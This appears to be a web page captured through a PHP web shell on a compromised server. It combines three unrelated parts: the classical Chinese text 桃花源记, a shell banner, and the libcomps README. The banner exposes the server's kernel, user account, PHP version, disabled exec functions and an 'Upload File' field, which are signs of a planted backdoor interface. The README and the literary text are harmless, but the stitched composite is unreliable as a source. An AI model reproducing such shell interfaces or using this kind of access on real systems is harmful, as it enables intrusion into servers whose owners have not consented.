晋太元中,武陵人捕鱼为业。缘溪行,忘路之远近。忽逢桃花林,夹岸数百步,中无杂树,芳草鲜美,落英缤纷。渔人甚异之,复前行,欲穷其林。 林尽水源,便得一山,山有小口,仿佛若有光。便舍船,从口入。初极狭,才通人。复行数十步,豁然开朗。土地平旷,屋舍俨然,有良田、美池、桑竹之属。阡陌交通,鸡犬相闻。其中往来种作,男女衣着,悉如外人。黄发垂髫,并怡然自乐。 见渔人,乃大惊,问所从来。具答之。便要还家,设酒杀鸡作食。村中闻有此人,咸来问讯。自云先世避秦时乱,率妻子邑人来此绝境,不复出焉,遂与外人间隔。问今是何世,乃不知有汉,无论魏晋。此人一一为具言所闻,皆叹惋。余人各复延至其家,皆出酒食。停数日,辞去。此中人语云:“不足为外人道也。”(间隔 一作:隔绝) 既出,得其船,便扶向路,处处志之。及郡下,诣太守,说如此。太守即遣人随其往,寻向所志,遂迷,不复得路。 南阳刘子骥,高尚士也,闻之,欣然规往。未果,寻病终。后遂无问津者。
|
Server : Apache System : Linux srv.rainic.com 4.18.0-553.47.1.el8_10.x86_64 #1 SMP Wed Apr 2 05:45:37 EDT 2025 x86_64 User : rainic ( 1014) PHP Version : 7.4.33 Disable Function : exec,passthru,shell_exec,system Directory : /usr/share/doc/libcomps/ |
Upload File : |
libcomps
========
Libcomps is alternative for yum.comps library. It's written in pure C as library
with Python bindings.
Building
--------
### Requirements
for automatic build system:
* cmake ( >= 2.6) http://www.cmake.org/
* make http://ftp.gnu.org/gnu/make/
for libcomps library:
* zlib http://www.zlib.net/
* libxml2 http://www.xmlsoft.org/
* expat http://expat.sourceforge.net/
* gcc http://gcc.gnu.org/
for python bindings:
* python http://python.org/
for C library tests:
* check http://check.sourceforge.net/
for documentation build:
* doxygen http://www.stack.nl/~dimitri/doxygen/
for rpm building:
* tito https://github.com/dgoodwin/tito
### Building
1. clone this repository
git clone https://github.com/rpm-software-management/libcomps.git
2. from the checkout dir:
mkdir build
cd build/
cmake ../libcomps
make
3. building the documentation:
make docs
make pydocs
### Building rpm package
You can use tito for building rpm package. From checkout dir:
tito build --rpm --test
## Building Python package
To create a binary "wheel" distribution, use:
python setup.py bdist_wheel
To create a source distribution, use:
python setup.py sdist
Installing source distributions require the installer of the package to have all of the build dependencies installed on their system, since they compile the code during installation. Binary distributions are pre-compiled, but they are likely not portable between substantially different systems, e.g. Fedora and Ubuntu.
Note: if you are building a bdist or installing the sdist on a system with an older version of Pip, you may need to install the ```scikit-build``` Python package first.
To install either of these packages, use:
pip install dist/{{ package name }}
To create an "editable" install of libcomps, use:
python setup.py develop
Note: To recompile the libraries and binaries, you muse re-run this command.
### Installing
* After successful build run:
make install
* Or install rpm package
### Testing
After build, you can find test for C library in __tests directory__, starting with
`test_` prefix. Binding tests are at (for now) same directory as python binding
library. You can run `python __test.py` or `python3 __test.py` (even without
installing library) for tests bindings. Also this unittest serves as python
bindings documentation
(for now).
### Documentation
After build, documentation is in __docs directory__. Documentation is built
in html xml and latex format. Only uncomplete documentation for C library
is available at the moment. Look at bindings unittest `__test.py__` for python
bindings usage.
Contribution
------------
Here's the most direct way to get your work merged into the project.
1. Fork the project
1. Clone down your fork
1. Implement your feature or bug fix and commit changes
1. If the change fixes a bug at [Red Hat bugzilla](https://bugzilla.redhat.com/), or if it is important to the end user, add the following block to the commit message:
= changelog =
msg: message to be included in the changelog
type: one of: bugfix/enhancement/security (this field is required when message is present)
resolves: URLs to bugs or issues resolved by this commit (can be specified multiple times)
related: URLs to any related bugs or issues (can be specified multiple times)
* For example::
= changelog =
msg: Do not skip type=mandatory in xml output
type: bugfix
resolves: https://bugzilla.redhat.com/show_bug.cgi?id=1771224
* For your convenience, you can also use git commit template by running the following command in the top-level directory of this project:
git config commit.template ./.git-commit-template
1. Push the branch to your fork
1. Send a pull request for your branch